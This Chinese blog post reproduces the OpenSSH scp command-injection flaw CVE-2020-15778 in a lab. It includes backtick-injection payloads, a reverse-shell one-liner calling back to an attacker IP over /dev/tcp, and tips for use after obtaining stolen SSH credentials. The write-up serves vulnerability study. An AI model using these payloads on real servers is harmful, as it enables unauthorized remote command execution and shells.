CVE-2020-15778 Openssh命令注入漏洞复现

简介: scp是用于在计算机之间复制文件的程序。它使用SSH协议。在大多数Linux和Unix发行版中默认都包含它。

一、关于SCP:


scp是用于在计算机之间复制文件的程序。它使用SSH协议。在大多数Linux和Unix发行版中默认都包含它。

漏洞标题:OpenSSH 8.3p1中的scp允许进行eval注入

发现人:Chinmay Pandya

产品:Openssh

受影响的组件:SCP

漏洞版本:<= openssh-8.3p1

CVE编号:CVE-2020-15778


根据漏洞发现者的github,指出漏洞出现在此处989行代码,可进行命令注入



二、漏洞复现:

测试环境:centos7,ssh版本如下:



1、scp基础用法:


scp test.txt test@192.168.136.133:/tmp/test2.txt

命令解析:将test.txt文件上传到192.168.136.133的/tmp 目录下的 test2.txt


但是前提是要知道ssh的密码



2、poc payload:


scp  /sourcefile remoteserver:'`touch /tmp/exploit.sh`/targetfile'

在向远程主机拷贝文件时,文件的路径会追加到本地scp命令后,当执行本地scp命令时,scp不会检查、过滤和清除文件名。这使得攻击者执行带有反引号的有效scp命令时,本地shell还将执行反引号中的命令


SCP支持带有“ -r”选项的目录传输。由于linux允许在文件名中使用反引号(`)。攻击者可以在文件名中创建有效负载,并且当受害者将完整文件夹应对到远程服务器时,该文件名中的有效负载将执行。


利用实例:


scp test.txt test@192.168.136.133:'`touch /tmp/exploit.sh`/tmp/test1.txt'

``是执行的命令


exploit.sh成功被创建:



3、直接反弹shell:


scp test.txt test@192.168.136.133:'`bash -i >& /dev/tcp/192.168.136.129/7777 0>&1`/tmp/test3.txt'

反弹shell成功:



三、实际环境中的利用方案以及场景:

对于用户来说,ssh被阻止,但authorized_keys文件中的命令选项允许使用scp的情况。您可以绕过此限制并在远程服务器上执行命令。也就是说,实际中通过各种手段获取到了ssh的用户密码,但是不允许ssh连接,或者ip等各种限制,可以尝试此漏洞进行利用


参考链接:

https://github.com/cpandya2909/CVE-2020-15778/

目录
相关文章
|
安全 Shell 网络安全
OpenSSH ProxyCommand命令注入漏洞(CVE-2023-51385)
enSSH存在命令注入漏洞(CVE-2023-51385),攻击者可利用该漏洞注入恶意Shell字符导致命令注入。
1820 1
|
存储 网络协议 API
「译文」CMDB 最佳实践技术指南 -2- 主流的 CMDB 发现技术
「译文」CMDB 最佳实践技术指南 -2- 主流的 CMDB 发现技术
|
安全 网络安全 数据安全/隐私保护
【已修复】OpenSSH 代码问题漏洞(CVE-2023-38408)
修复OpenSSH 代码问题漏洞(CVE-2023-38408)
6918 0
|
Linux Docker Windows
Docker配置https证书案例
本文介绍了如何为Docker的Harbor服务配置HTTPS证书,包括安装Docker和Harbor、修改配置文件以使用证书、生成自签名证书、配置证书以及验证配置的步骤。
995 3
Docker配置https证书案例
|
应用服务中间件 PHP nginx
CVE-2019-11043 复现
CVE-2019-11043 复现
276 5
|
安全 网络安全 Apache
CVE-2021-41773 复现
CVE-2021-41773 复现
620 1
|
SQL 供应链 安全
Hospital Management Startup 1.0 SQL 注入(CVE-2022-23366)
Hospital Management Startup 1.0 SQL 注入(CVE-2022-23366)
|
安全 Linux 网络安全
Linux——OpenSSH如何升级到最新版本
Linux——OpenSSH如何升级到最新版本
1705 0
Linux——OpenSSH如何升级到最新版本
|
安全 算法 应用服务中间件
SSL/TLS协议信息泄露漏洞(CVE-2016-2183)【原理扫描】
SSL/TLS协议信息泄露漏洞(CVE-2016-2183)【原理扫描】 【可验证】 详细描述TLS是安全传输层协议,用于在两个通信应用程序之间提供保密性和数据完整性。
8730 2
|
存储 NoSQL Redis
Docker 安装 Redis 6.2.6
Docker 安装 Redis 6.2.6
918 0